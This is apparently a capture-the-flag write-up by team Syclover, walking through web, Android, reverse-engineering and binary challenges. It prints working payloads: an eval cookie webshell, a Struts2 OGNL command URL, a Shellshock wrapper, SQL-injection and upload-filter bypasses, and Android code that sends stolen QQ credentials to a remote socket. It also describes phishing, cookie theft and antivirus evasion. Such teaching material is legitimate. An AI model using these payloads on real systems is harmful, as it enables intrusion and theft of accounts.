Team:Syclover
0×00 Pentest
Pentest1《我要开网店》
“暮雨! 咱家豆腐店生意不行啊,听说最近网店比较火,要不咱家店也做个网站?”
“做网站?行啊,干脆请人来做吧。”
“可是请人要花钱啊,咱家店里这生意。。。”
“放心,包在我身上了!”暮雨的脸上露出自信的笑容,“昨天刚看到个苦逼的程序猿发的广告,好像有源码。广告是什么来着?哦哦,想起来了!”
苦逼的程序猿 由于新看上了一个女朋友,想买但是钱又不够。就上班那点工资,交了房租填饱肚子就没了。为了我的女朋友,我只有自己接点私活了,做做网站。下面这个网站我最近开发的有人需要买源码的可以联系我。 http://menghu-demo.sycsec.com
这个网站存在泄漏 http://menghu-demo.sycsec.com/.DS_Store
访问之后可以得到备份源码的压缩包 wobuhuigaoshunizhejiushibeifenwenjiande.rar 然后下载备份文件,进行代码审计。 可以发现\cms\pay\order.php文件中存在如下代码
$payobj=new pay(); $action=isset($action)?$action:'step1'; session_start(); $cookiekey=CMS_md5('productarray'.IP); $productarray=string2array(get_cookie($cookiekey));
然后根据代码可知IP可以通过X-Forwared-For伪造。然后看到CMS_MD5函数和get_cookie
function get_cookie($var) { $var = COOKIE_PRE.$var; return isset($_COOKIE[$var])?$_COOKIE[$var]:false; } function CMS_md5($str) { return substr(md5($str),6,16); }
然后继续跟进string2array函数。
function string2array($str) { if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!'); if($str=='') return array(); if(is_array($str))return $str; // 2011-09-13 是数组的话直接返回 @eval("\$array = $str;"); return $array; }
很明显根据上面代码可以知道这是一个任意代码执行。
首先我们将X-Forwared-For设为0.0.0.0。然后可以得到
a8b98b87d11653f2
然后设置cookie键为:mtGmpHCQ4ba8b98b87d11653f2 键值为1;echo 1111;
可看到代码成功执行
然后在upload目录写个shell。
1;${@fwrite(fopen('../upload/syclover.php', 'w+'), "<?php @assert($_POST[1]);?>")};
在upload生成一个shell。就可以拿到flag了。
Pentest2《网站升级》
自从暮雨家的网站建起来之后,生意果然好了很多,暮雨也有了更多的资金去改造自己的X86。
这天暮雨正在为自己的爱车打蜡,远远便看见老爸一脸兴奋地向自己招手。“暮雨!快来快来!”
“哎,又要忙了。。。”默默叹了一口气,暮雨放下手中的东西向老爸跑去,“来了来了,这次又有什么事要做?”
“哈哈,真是什么都瞒不住你小子!”暮雨老爸笑道,“最近咱家豆腐店业务量这么大了,得上线个新的业务,听说java开发不错,我们也试试?”
“java开发?好啊!记得上次那个程序员又写了新东西,看来又要去‘麻烦’那个程序员了呢。”暮雨默默想着。
听说这是入口 http://sycapi.sycsec.com
访问之后可以发现这是一个请求接口,测试之后可以发现做了简单的防御。
然后根据乌云多数已修复SSRF漏洞可被绕过这个漏洞提供的技巧.或者,我们将ip转换为10进制。都可以绕过限制。
然后开始探测内网。根据提示的信息,可以猜测一下java.sycsec.com这个域名的指向。
当然,如果你没发现也没事,可以自己写个脚本探测,有哪些存活的主机和端口。可以发现 10.116.39.128
这个ip是存活的,然后开放了8080端口。
其实就是搭建了一个struts2的demo
http://www.10.116.39.128.xip.io:8080//struts2-blank/example/HelloWorld.action
然后exp打一发就出现flag了。
http://www.10.116.39.128.xip.io:8080//struts2-blank/example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
Pentest3-1《白色的东东总能让人上瘾! 第一章》
最近我们豆腐店生意老是不景气,除了附近的几个老顾客偶尔来光顾而外,就没见过什么新面孔了。这是怎么回事呀?再不来人这个月的房租就没法交了啊,然后妈妈桑肯定又要来闹腾了=。= 今早老刘家的孩子又来我们这儿买豆腐了,给了他一根棒棒糖,打听了下情况,原来是在秋叶路新开了一家豆腐店《三叶豆腐》,那里不仅豆腐好吃而且老板娘还很漂亮,属于豆腐西施那种类型的,所以大家都跑到那里去买豆腐了,来我们这里买豆腐的都是那种家教很严的,不允许去那里买豆腐。
所谓“知己知彼,百战百胜”,我觉得我有必要去现场观摩一下,了解下情况。于是乎,骑着我的摩托版X86慢悠悠的潜入了敌方阵营。结果不出所料,老板娘真的很漂亮(๑¯ิε ¯ิ๑)(PS:我们店的硬件设备也应该跟进一下了,招个漂亮的保洁小妹!),在老板娘含情脉脉的眼光中,挑了一块豆腐尝了尝,哦,卖狗的!这简直太美味!我们的豆腐店看来是没希望了,还是改行卖白菜吧。。。呃呃呃,这里似乎有什么不对,这味道似乎在哪里见过,这不是大麻的味道么,难道说这豆腐里面有放大麻,怪不得会让人上瘾!这可是在犯罪啊!我一定得找到证据,让人民免受其害!
于是乎,我开始了艰辛的观察行动。。。 一个月后。。。
我们店已经倒闭了(ง •̀_•́)ง┻━┻
但是,我也收集到了一些信息:
* 每天夜深人静的时候都会有人来这里买豆腐,这些客人都比较猥琐,骨瘦如柴的
* 每周都会有一次进货,但来送货的人总是戴着墨镜,还有纹身,看起来不像好人
我的直觉告诉我这家店不只在豆腐里面加了大麻那么简单,可能还在私底下干些买卖毒品的勾当,我得想办法拿到他们最近的账单及进货数据!
如果直接物理入侵好像我的小身板会受不了,还是通过网络试试吧
三叶豆腐的官网:http://syctoufu.sycsec.com/
目标: 渗透进入三叶豆腐,拿到他们的账单和进货数据
先看目标官网http://syctoufu.sycsec.com/,页面很简单,并没有什么办法能从WEB层面撕开裂口,只有先收集些信息再看情况了。
在招聘页面发现三叶豆腐在招聘保洁小妹,而且还留下了招聘用的邮箱[email protected],一看就是管理员的邮箱,我们可以先拿这个管理员下手!
先通过邮件给管理员发个简单的探针,探探浏览器的信息
由上面可知管理员用的是Win7 X64 IE11
可以联想到的利用方式:
* 袁哥发的通杀Win95+IE3 – Win10+IE11 MS14-065
* IE UXSS Win7/Win8 IE10-IE11
由于没有探测杀软的情况,还是利用IE UXSS比较保险一点,只要打到管理员的Cookie说不定就进入官网后台了,后面的再想办法深入。
构造好EXP,通过邮件给管理员发了个简历链接过去。(EXP见附件uxss.zip)
获取到的Cookie:
credit_id=72edbabcfad6af4e925d522a5138a038
利用Cookie登陆后台
后台很简单,就只有下载配置文件一个功能,由此想到了任意文件下载,测试了一下,真的存在。那么我现在就有一个比较低的读权限,如何把读权限提升呢?读一下敏感文件吧
读取/etc/httpd/conf/httpd.conf,下面是重点
<VirtualHost *:80> ServerAdmin LateRain@Syclover DocumentRoot /web/syctoufu <Directory /> Options -Indexes FollowSymLinks AllowOverride All <Limit GET POST> Order allow,deny Allow from all </Limit> </Directory> ServerName syctoufu.sycsec.com ErrorLog logs/syctoufu_error_log CustomLog logs/syctoufu_access_log common </VirtualHost> <VirtualHost *:80> ServerAdmin LateRain@Syclover DocumentRoot /web/sycshadowworld <Directory /> Options -Indexes FollowSymLinks AllowOverride All <Limit GET POST> Order allow,deny Allow from all </Limit> php_value open_basedir "/web/sycshadowworld/:/tmp/" </Directory> ServerName sycshadowworld.sycsec.com ErrorLog logs/sycshadowworld_error_log CustomLog logs/sycshadowworld_access_log common </VirtualHost>
可以看出这台服务器上除了syctoufu.sycsec.com还有一个站http://sycshadowworld.sycsec.com 但是这连个域名的指向却不相同
sycshadowworld.sycsec.com 121.43.186.34 syctoufu.sycsec.com 120.25.240.176
直接访问http://sycshadowworld.sycsec.com ,发现是一个售卖枪支的网站
简单的对这个网站进行了测试,发现有svn源码泄露的漏洞
利用该漏洞发现了数据库备份文件http://sycshadowworld.sycsec.com/include/db_config.bak
<?php $host = 'localhost'; $db = 'sycshadowworld'; $user = 'toufuboy'; $pass = 'ToufuboyLoveGintama'; mysql_connect($host, $user, $pass) or die('Can not connect to mysql.'); mysql_select_db($db) or die('Can not connect to database.'); mysql_query("SET NAMES 'UTF8'");
可以发现这里有个数据库用户叫toufuboy,密码是ToufuboyLoveGintama
原来这个管理员叫掏粪男孩,会不会这个管理员的数据库账户和Linux账户一样的呢?
通过后台的任意文件读取漏洞读取/etc/passwd,发现真的有toufuboy这个用户
那么我们连连SSH试试,成功登陆!然而这台服务器上并没有Flag
但是我们在掏粪男孩的home目录下发现了一个神奇的脚本 updateweb.py
#!/usr/bin/python import commands from socket import * myHost = '0.0.0.0' myPort = 61337 sockobj = socket(AF_INET, SOCK_STREAM) sockobj.bind((myHost, myPort)) sockobj.listen(5) while True: connection, address = sockobj.accept() print 'Connected: ', address data = connection.recv(1024) if data.rstrip() == 'ToufuboyIsComingBack': (status, output) = commands.getstatusoutput('su toufuboy <<< "cd /web/sycshadowworld; svn update; exit"') connection.send(output) connection.close()
它监听在61337端口,每次连上去输入ToufuboyIsComingBack就会给/web/sycshadowworld这个目录执行svn update,而这个目录恰好就是这台服务器上绑的sycshadowworld的WEB目录,会不会另外一台解析了sycshadowworld的服务器也运行着这个脚本呢?测试一下真的开着61337端口!
那么我就猜测,这两个站可能是一个未上线和一个上线了的关系,未上线的是在syctoufu那台服务器上,没有做域名解析,程序猿先在这里调好代码,提交至SVN版本库,然后利用开放的61337调试接口更新线上的服务。
如果我的猜测合理,那么我们在当前的SVN版本库里面插入后门,然后到sycshadowworld的线上服务器更新一下,我们就可以拿到线上服务器的SHELL了。
先到web目录下看看权限:
/web/sycshadowworld/cache目录可写,那就在下面写shell了
到线上服务器上Update一下拿Shell
连上shell
在/tmp下发现了一些奇怪的东东
id_rsa.pub 和 id_rsa 是ssh-keygen生成的私钥和公钥,我们没有权限读取,但是root却又把他们打包成了toufuboy_sshkey.tar.gz,这下我们就有权限下载这个tar包了,看来这个管理员很傻很萌呀:)
下载下来,利用私钥登陆线上服务器:
进去之后,发现掏粪男孩的home目录下就有账单.txt,拿到Pentest3-1的Flag
Pentest3-2《白色的东东总能让人上瘾! 第二章》
我已经拿下了他们的边界服务器了,但是还没有找到他们的进货数据,得继续深入内网才行! 上一关在最后有对下一关的提示:
目标:控制当前网络 怎么控制这个网络呢? 入侵网关或许是个好办法,总之先拿下网关的WEB控制权吧! key文件是进入下一关的钥匙哦!
那么我们先来看看这个key文件是什么东东吧
这又是一个SSH RSA私钥,但是这是对应的是哪台主机,哪个用户的呢?
查看~/.ssh/known_hosts 读取该服务器连接过哪些服务器
查看~/.bash_history,读取toufuboy的历史操作记录
查看网关
由上可以推测,toufuboy利用私钥文件key以sycnetmgr的身份登陆了网关172.16.1.241
那么我们就来连接一下网关:
提示是要拿到网关的WEB控制权限,先利用SSH Tunnel来访问一下网关的WEB
对该网关的WEB进行测试,并没有发现任何漏洞,重新整理下思路:我现在能以sycnetmgr用户登陆网关,但是我需要达到的目标是登陆网关的WEB接口,我先看看能不能读取WEB的源码
然而sycnetmgr并没有权限去读取源代码,继续换思路。。。
sycnetmgr 这个翻译过来不就是三叶豆腐网络管理员的意思吗?难道这是网管?那我岂不是可以在服务器上嗅探数据了咯?
嗅探了5分钟,把cap包拖回来本地分析
嗅探到管理员的WEB登陆账户 admin/Hey,Man,LetMeIN 登陆后拿到Flag
出题人的吐槽
本来想借这道题来收集一些好的探针啊,EXP啊,渗透思路什么的,结果啥都没收集到,我都要哭出声=。=
我来吐槽下你们发马的吧,直接发exe,你们简直在送人头啊,我都要报警了!稍微要好一点的是发1.doc[这里有一大串空格].exe+修改图标的,然后再好一点的是利用快捷方式的,除了这些就没见什么新鲜的了。里面只要不是直接发exe的我都点了,晚上机子挂在实验室,差点就被搞穿小组内网了=。= 后面为了提高比赛互动性,我也回敬了几个黑阔我的远控,上了两台,因为是MSF生成的,连上来就断掉了,多半是被杀了,伤心:(
然后还有人给我发钓鱼的邮件,模仿的还可以,我就把服务器密码输进去了,不知道你们收到没有。
还有一些要对种马成功的童鞋说的,其实我桌面上提示了偷Cookie或者找密码,大家都偷到Cookie了,但是却没人找到密码,有人传mimikatz来抓密码,但是我这是低权限用户,而且补丁也打全了。我说的找密码其实是指的浏览器储存的密码,拿到密码就可以直接登陆syctoufu的服务器了。
然后,还有人觉得Pentest3-2的难度比Pentest3-1的难度小很多,原因是阿里云的VPC环境没法完美模拟题目环境,当时找阿里云的工作人员帮忙配环境,忙了几个小时都弄不好,最后的结论是VPC不支持,不过也麻烦阿里云的工程师了,Thx!
Pentest4《藏起来的人形修理机》
“不行!还是不行,始终不能把车子的动力发挥到极限!难道真的是改装的有问题?”暮雨自言自语道,看来是时候去找那个传说中的维修改装师了。
不过,没人知道那个号称人形修理机的家伙到底住在哪里,大家只能通过他的网站联系他。没办法,我们的车神只好和大家一样打开网站,可是。。。
http://xiuliji.sycsec.com
题目原理请参考 pkav之当php懈垢windows通用上传缺陷中的demo
首先打开给的网址,看到提示“最近好多人来找我修车改装车,烦都烦死了!我决定出去躲一躲,至于躲在哪里嘛~等你传个可用的shell上来自己看不就行了?”
题目要求传个shell上去,查看下源码。发现被隐藏的上传空间 复制代码保存为本地文件,去掉控件中的style=”display:none”属性,将action=”upfile.php”改为action=”http://xiuliji.sycsec.com/upfile.php” 开始测试,当上传php,asp,aspx等文件时提示 File type is dangerous! 被过滤、 上传jpg等文件时均可正常上传 上传无后缀或随机后缀文件时也可正常上传 判断为黑名单过滤 通过插件看到服务器使用的是iis,得知系统为windows系统,尝试使用流文件上传绕过 即原文中提到的 1.php::$DATA 的方式绕过,发现$符号被过滤。(出题人语:怎么可能留下这么简单的捷径不堵?) 因为是黑名单过滤 所以尝试使用 : 截断进行绕过,如 1.php:1 提示成功上传,文件名为 1.php 但文件为空。这是个很重要的提示 通过本地搭环境测试我们可以发现,正如原文所提到的一样“冒号截断产生的文件是空白的,里面并不会有任何的内容,但是文件本身是生成了的!” 由于目标是windows环境,我们尝试使用windows特性来解题 在php+window+iis环境下: 双引号(“<”) <==> 点号(“.”)’; 大于符号(“>”) <==> 问号(“?”)’; 小于符号(“<”) <==> 星号(“*”)’; 于是我们在成功生成1.php空文件的情况下, 再次上传 1.<<< 或 1.ph< 或 1.<hp 之类的文件名,利用<等同于通配符的特性,并且<不在黑名单里的情况来绕过限制
通过两步:1.绕过黑名单,生成空的shell文件。 2.利用windows特性覆盖已有的空文件,得到shell,最终得到flag
Pentest5《周报系统》
暮雨家的豆腐店生意好起来之后,经常会有人远道而来求购他家的豆腐。 久而久之,附近也冒出了好多家借机浑水摸鱼的豆腐店。 “太气人了!今天隔壁老王家豆腐店又不知道卖了多少!这本来都是咱家的生意!”暮雨爸爸怒道。 暮雨不解道:“他家的价格那么便宜,人多很正常啊。” “就是因为价格低才不正常!咱家已经几乎是成本价了,他家这么低总不可能是赔本卖吧?其中一定有问题!” “原来是这样”暮雨道,“听说他家有个周报系统用来记账,让我去查探一番吧!” http://week-report.sycsec.com
访问页面 http://week-report.sycsec.com
提示了是一个周报系统
看到这里有登陆,就要去尝试注入绕过。
尝试会发现’||’
这个就可以 过了了or的大小写 还有注释符 比如# — 之类的
用这个登陆绕过之后 就可以找到一个上传的地方 http://week-report.sycsec.com/b580824658f29252cce4af63e51a3a67.php
传个图片试试
提示了这个 那就用一个word的试试
把一句话木马保存成word的后缀,再上传
warning! 测试后发现是过滤了php,那我们就用<?这样子来替换<?php 没有过滤大写,也可以使用Php之类的来绕过检测。
文件名修改为.php 后缀的
发现返回一个路径,访问一下发现不一会就掉了 是有一个负载均衡的功能的,我们可以使用重复发包的来完成。 然后就是去用菜刀连上去,发现了这个/f14g_1s_h3r3/文件夹 然后就是慢慢翻文件了,这里还有很多福利哦。最后是在4/5目录发现了flag.txt
flag{0n3_m0r3_t1m3_0n3_m0r3_ch4ng3}
Pentest-6《我要一个发动机 第一章》
比赛即将来临,藤原暮雨的发动机却突然报废,究竟是人性的扭曲,还是道德的沦丧,作为车神肯定是有办法搞一个niubility的发动机的,苦于豆腐店生意太差,所以他打上了天台发动机公司的主意,据说销售主管的机器上有发动机兑换码,FIghting!For Fast & Furious 入口:http://tiantai-engine.sycsec.com
这道题简单地模拟了一个水坑攻击。 题目给的目的很明确,就是销售主管的机器上有发动机兑换码,那最终目标就是搞定销售主管的pc。 销售主管的信息也很好找到 打开入口http://tiantai-engine.sycsec.com
这是一个纯静态页面,是不会有任何问题的,在页面底部可以发现
有一个QQ交谈界面,点击交谈
好了,我们已经找到销售主管了~ so easy嘛,然后查看他的信息
可以得到这个销售主管的博客主页,这些都是题目铺垫好的信息。
下面可以看看这个博客http://liergou-blog.sycsec.com/,是一个emlog搭建的博客
然而就可以找到一些emlog的漏洞来测试,可以找到一个emlog博客前台反射型XSS(无视浏览器filter)是存在的
有了跟博客主人的对话框,又有了一个xss漏洞,我们就可以尝试通过交互的方式去XSS 因为不知道对方用的什么浏览器,所以本地测试的时候最好是在各个浏览器下都测试一遍(在实际中,好多人发给我的exp并不起作用~ ) 然后我们给管理员发送exp(这里的设定是发链接就会点,但是最好还是加点对白):
然后目标点击,被xss
拿到cookie就可以登陆blog后台了 Emlog后台拿shell可以从插件上传那里,下载一个插件,然后在插件里添加一个后门上传
我这里上传了一个player插件,在config.php里写了一句话 所以小马位置为 http://liergou-blog.sycsec.com/content/plugins/player/config.php 如果不知道插件位置的话,可以本地安装一个emlog上传测试出路径,然后连上菜刀
第一个flag就在这里:flag{Easy_Xss_For_Start!}
这里只有content目录下的一些目录才有写权限 不能执行命令,openbasedir限制了web目录,不能浏览之外的目录 第二个flag是在服务器上,那肯定就是之外的目录 本来设定是用bash破壳漏洞绕过命令执行。 bypass disable_functions 但后来发现也可以 bypass openbasedir: phithon牛的文章
这里我还是用破壳漏洞吧 在目录下写一个cmd.php
<?php function cmd($cmd) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); mail("[email protected]","","","","-bv"); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo cmd($_REQUEST["cmd"]); ?>
然后访问 http://liergou-blog.sycsec.com/content/plugins/player/cmd.php?cmd=command
就可以执行命令了,可以翻到flag
然而我们还可以去翻一翻apache的日志
找到blog的日志文件,我们把它copy到我们的目录然后查看
通过XSS已经拿到管理员的ip地址段,管理员出口ip一直一个C段里随机的,从apache日志里可以看到管理员ip段的访问习惯。 也可以在可写的文件里包含探针去探测管理员的访问习惯。 可以发现管理员经常访问的地址 这里设定是一个脚本一直在访问这个页面 接着考虑一下怎么样才能拿下管理员机器,现在最好的办法就是挂马,因为之前通过XSS也可以确认到管理员用的浏览器是ie,ie嘛大家都懂 不过挂马前准备工作还是要做足,先探测一下管理员电脑信息 下面我们可以通过修改content/myyyyyyyy-journal/index.php页面来加载一个探针
然后可以探测到一些信息
然而如果你的探针够吊,是能探测到杀软的~ 而且在blog的一些信息中也给出了提示
可以知道目标用的是ie8 杀软是卡巴 所以挂马之前,先要免杀网马和木马 木马免杀,可以用veil那个免杀框架 能做到不被卡巴直接查杀,但是运行会弹出一个允许框,把目标程序名改为具有欺骗性的 iexplore.exe就可以了,浏览的时候下载运行iexplore.exe,因为当时正在访问浏览器,管理员一般是会点允许的 网马免杀,网马我们用去年那个ie通杀远程代码执行 Internet Explorer <= 11 – OLE Automation Array Remote Code Execution
但是杀软是会查杀网马的,所以要对网马进行免杀 给出免杀思路,代码就不上了:卡巴对这个网马的查杀是基于特征码的,找到特征码,然后xxoo就能达到免杀效果了。 如果是使用vbs下载者去下载木马运行的话,Vbs下载者也要选对,有些下载者也会被杀。 以上步骤建议在本地测试,卡巴最新病毒库,弄好木马网马以后,我们在index.php挂马。
然后访问的时候是这样
这里如果想做好一点可以把程序图标改成ie的图,更具欺骗性,主要是讲思路,我就不改啦 (ps:然而因为是win7,有powershell,也可以用的msf的expliot,修改网马免杀后,直接用powershell反弹shell,杀软是不会提示的) 然后就上线了
(因为管理员机器就是我的虚拟机,写思路也是用的内网机器,所以是内网ip) 然后通过meterpreter读取管理员桌面上的engine_code.txt,就能拿到flag了
0×01 Reverse Reverse0《送人头来了》
http://game.sycsec.com/download/Reverse0.exe
这是一个debug版的程序,绝逼的送分题,跟看源码一样
就是一个log函数,手算和代码都可以 flag{Agift4You_}
Reverse1《简单的CrackMe》
http://game.sycsec.com/download/Reverse1.zip
这是一个加密程序,目的是解密ciphertext main函数里分了三个部分,并加了花 1. 第一部分就是输入的每一个字节的高三放在这个字节的低三位上 text:08048673就是右移5位,text:0804869B是左移3位 2. 第二部分是查表替换,以参数字节为下标替换,第二部分最后是解密第三部分的函数
3. 第三部分加密后存在程序里,当第二部分执行完成后解密,所以这部分代码在ida里为乱码,解密后的代码
这部分代码没有花,所以直接看就可以,循环异或”syclover”
Reverse2《简单的CrackMe》
http://game.sycsec.com/download/Reverse2.apk
反编译后的MainActivity为空,里面只有一个loadLibrary和两个native方法,onClick,onCreate,加载libsycapk.so调试 1. 在JNI_OnLoad中有ptrace反调试,之后就是解密一些字符串然后注册onClick,onCreate方法
2. 知道了onCreate和onClick方法在哪之后就可以在native层去调试,onCreate方法中初始化了button,edittext控件,在初始化button的时候有个反调试,后面算法中的用到的key在被调试的时候和正常运行时不同的,可以在这patch,如果没有没有检测到调试就用”5yc10v3r”替换假key。
3. onClick方法中响应了button点击之后,调用验证方法
用输入的字符串第6为开始与key的MD5异或,接着计算连续的二进制流1或0的个数,最高位为1或0,低7位为个数,最后与
结果比较验证
Reverse3《Reverse3》
在官方服务端的手机上运行了这个QQ.apk,请你写出一个木马,利用该QQ的漏洞获取服务端上QQ的账号和密码 http://game.sycsec.com/download/QQ.apk 要求: 不能使用提权漏洞 请在本地调试好之后再上传给官方安装 上传你写好的APK: http://apk.sycsec.com/
首先说明一下这道题其实跟逆向的关系并不是很大..但是不知道到底分在什么地方,所以就加在逆向里面了。 题目给了一个qq的apk(山寨版的),要求写出一个木马能够获取官方手机上的qq用户名和密码,然后用这个账号登录就可以问他的好友获取flag。
既然要获得一个app中的数据,必须要和这个app在同一个进程中。而要注入进一个app的进程,通常有两种方案:利用签名漏洞或者有root权限。但是题目上明确说明了不能使用提权漏洞,所以很明显要利用签名漏洞。
反编译这个apk在源码中可以看到一个未导出的WebViewActivity,并且设置了支持插件。利用方式就很明显了。首先通过launchanywhere漏洞导出这个WebView,然后利用fakeid漏洞伪造一个flash插件,这样webview就会加载我们的插件,注入进进程后,hook java层的代码,得到账号和密码。 继续看代码可以看到在LoginActivity点击登录后,这个activity会把密码传给MsfService,这个Service是保持和服务器连接的Service。
MsfService有一个getInstance方法,可以得到这个Service的实例,然后就能获取他的账号和密码字段。
这里我们可以使用android源代码中的浏览器插件的example,代码可以从这获得:http://androidxref.com/2.3.7/xref/development/samples/BrowserPlugin/
然后在main.cpp中修改这个函数让浏览器知道我们是flash插件。
const char *NP_GetMIMEDescription(void) { return "application/x-shockwave-flash:swf:Shockwave Flash;application/futuresplash:spl:FutureSplash Player"; }
注入进进程后加载一个apk(当然也可以在jni层直接获取Service的实例),
snprintf(sig_buffer, 512, "(%s)%s", JSTRING, JCLASS); jmethodID loadClass_method = jni_env->GetMethodID(dexloader_claxx, "loadClass", sig_buffer);
jobject class_loader = getSystemClassLoader();</p></p>
<p><p>jobject dex_loader_obj = jni_env->NewObject(dexloader_claxx, dexloader_init_method, apk_path, dex_out_path, NULL, class_loader);
jstring class_name = jni_env->NewStringUTF("com.demo.inject.InjectClass");
jclass entry_class = static_cast<jclass>;(jni_env->CallObjectMethod(dex_loader_obj, loadClass_method, class_name));</p></p>
<p><p>jmethodID invoke_method = jni_env->GetStaticMethodID(entry_class, "invoke", "(I)[Ljava/lang/Object;");
jobjectArray objectarray = (jobjectArray) jni_env->CallStaticObjectMethod(entry_class, invoke_method, 0);
java层的代码就很简单了,利用ClassLoader加载MsfService,再反射获取用户名和密码,传回我们的地址。
Class<?> Service_class = context.getClassLoader().loadClass("com.qq.service.MsfService"); Method get_method = Service_class.getDeclaredMethod("getInstance"); Object MsfService = get_method.invoke(null); Field namefield = MsfService.getClass().getDeclaredField("mUserName"); Field pwdfield = MsfService.getClass().getDeclaredField("mPassword"); namefield.setAccessible(true); pwdfield.setAccessible(true); String name = (String) namefield.get(MsfService); String passwd = (String) pwdfield.get(MsfService); String host = "192.168.6.1";
int port = 8899;
Socket client = new Socket(host, port); Writer writer = new OutputStreamWriter(client.getOutputStream()); writer.write("name:"+name+",passwd:"+passwd); writer.flush(); writer.close(); client.close();
然后我们需要使用launchanywhere漏洞来导出WebViewActivity,关于launchanywhere更多的细节可以参考:http://blogs.360.cn/360mobile/2014/08/19/launchanywhere-google-bug-7699048/
我们将这个webview导出后让它访问一个包含flash的页面,这个时候webview就会加载我们的so。
intent.setComponent(new ComponentName("com.qq","com.qq.activity.WebViewActivity")); intent.setAction(Intent.ACTION_RUN); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.putExtra("data", HTML2); intent.putExtra("url", "http://demo.sc.chinaz.com//Files/DownLoad/flash2/201505/flash3638.swf"); intent.putExtra("title", "Account bug"); final Bundle bundle = new Bundle(); bundle.putParcelable(AccountManager.KEY_INTENT, intent); return bundle;
最后就是利用fakeid来伪造Adobe的签名,这部分的内容简行之旅的博客上写的很清楚,我也就不再叙述了:http://blog.csdn.net/l173864930/article/details/38755621.
最后安装写好的恶意apk,启动后会打开qq的webview,然后传回用户名和密码。
最后就是利用获得的用户名和密码登录qq,找到一个叫admin的好友,问他要flag啦。
0x02 PWN
Pwn1《学挖掘机的萌妹》
“暮雨!你妹来信了!” “若水的信?快给我快给我!”暮雨飞一般地跑进屋里。从小,藤原暮雨就对自己的妹妹若水疼爱有加,小若水也非常崇拜自己的哥哥。怎奈若水没有哥哥非凡的车技,只好跑去北方学习挖掘机。 “诶?若水说她学挖掘机的时候遇到了很多问题,让她很困扰。她想登录进挖掘机系统看看有没有考题, 可是有管理员有验证,想让我帮她利用漏洞登陆系统,听说管理员十分崇拜物理学家!”看来是时候让我这个当哥哥的出马了!暮雨自信的想着。 http://game.sycsec.com/download/login
nc 120.25.125.211 11111
PWN系列的WRITEUP 如有错误或者更好方法可以与我联系:[email protected]
程序自身代码没有漏洞,是设计上的缺陷。 没有限制验证的次数,没有类似验证码的机制等问题。 题目描述里有 管理员十分崇拜物理学家的描述,以及下图中从password读入9个字符,程序里比较字符的时候没有区分大小写等等可以尝试推动密码也许是人名,剩下的就是有方向的爆破的。
参考链接:CWE-307:过多认证尝试的限制不恰当
Pwn2《简陋的系统》
在暮雨的努力下,若水遇到的挖掘机系统被成功突破。然而进入系统之后的情景却让若水大失所望,里面并没有什么考题,而且系统还非常的简陋,几乎没有什么功能。然而就是在如此简陋的情况下,居然还有漏洞! “老妹去的这学校也太。。。”暮雨暗自苦笑,“那就让我利用一下这个漏洞,看看里面还有什么秘密吧!” http://game.sycsec.com/download/easy_system
nc 120.25.125.211 22222
Easy_system 手抖了一下,把调试符号去掉了,然后逆向分析的难度增大,不要砍我QAQ
出问题的是程序的日志功能部分,存在一个格式化字符串的漏洞,如下图。
第2个snprintf向栈里写入了之前输入的命令,没有做检查。 snprintf_sub_401840((__int64)&v25[v28 + v27 - 1], (unsigned int)(v29 + 1), a1);
当然,日志功能默认是没有启用的,要通过set logfilename xxxxx (xxx是设置的名字),还有enable logfunction 来启用。可以在处理命令那块逻辑中看到,如下图。
然后格式化字符串在栈里,也没其它的限制和程序保护。 利用的思路(有更好的利用方法望指出): 1:先找块空地写shellcode 2:改写.fini_array 指向 shellcode
objdump -dr -j .fini_array ./easy_system
Pwn3《没剧情了T_T》
没剧情了T_T,直接下来玩吧:p Good luck & have fun. http://game.sycsec.com/download/buybuybuy
nc 120.25.125.211 33333
Buybuybuy 程序存在一个符号转换的漏洞,有符号的负数转换为无符号数时,会有一个栈溢出,剩下就是栈溢出的利用。 如下图,输入的负数,在say_your_story中由input调用,而在input中长度的变量类型是unsigned int。
0x03 CODE
Code1《x86翻车》
一日,藤原暮雨开着x86在山路中送豆腐。然后……翻车了!(车神翻车了你敢信) 豆腐散落在山中的四个地点,藤原需要一一去捡回,然后送到目标地点。 山中的地点通过一些双向的道路连接,在每个地点都会标注出与它相连的地点以及距离,如: 1356813123 1500 49933212 1300 有豆腐的地点会在最后一行显示doufu,如: 223355 178 99999999 233 doufu 现在知道藤原的位置是461271604 (http://e983da0f4cc3d80ce96b9fcfe056a811.sycsec.com/map/461271604.txt) 目标位置是1282159116 (http://e983da0f4cc3d80ce96b9fcfe056a811.sycsec.com/map/1282159116.txt)。 他需要你告诉他从当前位置出发,捡回所有豆腐然后送达目标的最短的一条路。 本题的flag不是flag{...}的形式,直接提交最短路径的长度。
题目描述已经提示地很清楚,是一个无向图求最短路径的问题。 首先读取文件建图,并且找到豆腐所在的顶点。从起点经过这四个地点达到终点,每两点之间都需要是最短路径。枚举这四个地点的全排列,求出最短的一条即可。
Code2《神秘的压缩图片》
“暮雨!!我要死了!快来帮我!”窗外传来死党阿优的鬼哭狼嚎,“女神!绝对是女神!我要追到她!快来帮我!” “女神?为啥你追女神需要我帮忙啊?”暮雨探出头不解地问。 只见窗外阿优扔过来一张图片“你看看,这是女神给我的,说是解开这个图片中的秘密,就可以得到她的联系方式!可我什么也看不出来啊,只好找你帮忙啦~”阿优不好意思道。 “哦?图片?莫非里面隐藏了什么信息?那就让我看看吧~” http://game.sycsec.com/download/Code2.zip
题目给了一个java的程序,只实现了压缩功能,解压功能的按钮无效。反编译后能看到有这么几个类。
在MainWindow中可以找到压缩按钮的点击事件,可以看到这里先使用了encode类对文件进行了一次压缩,后面又使用了lz77类再进行了一次压缩。
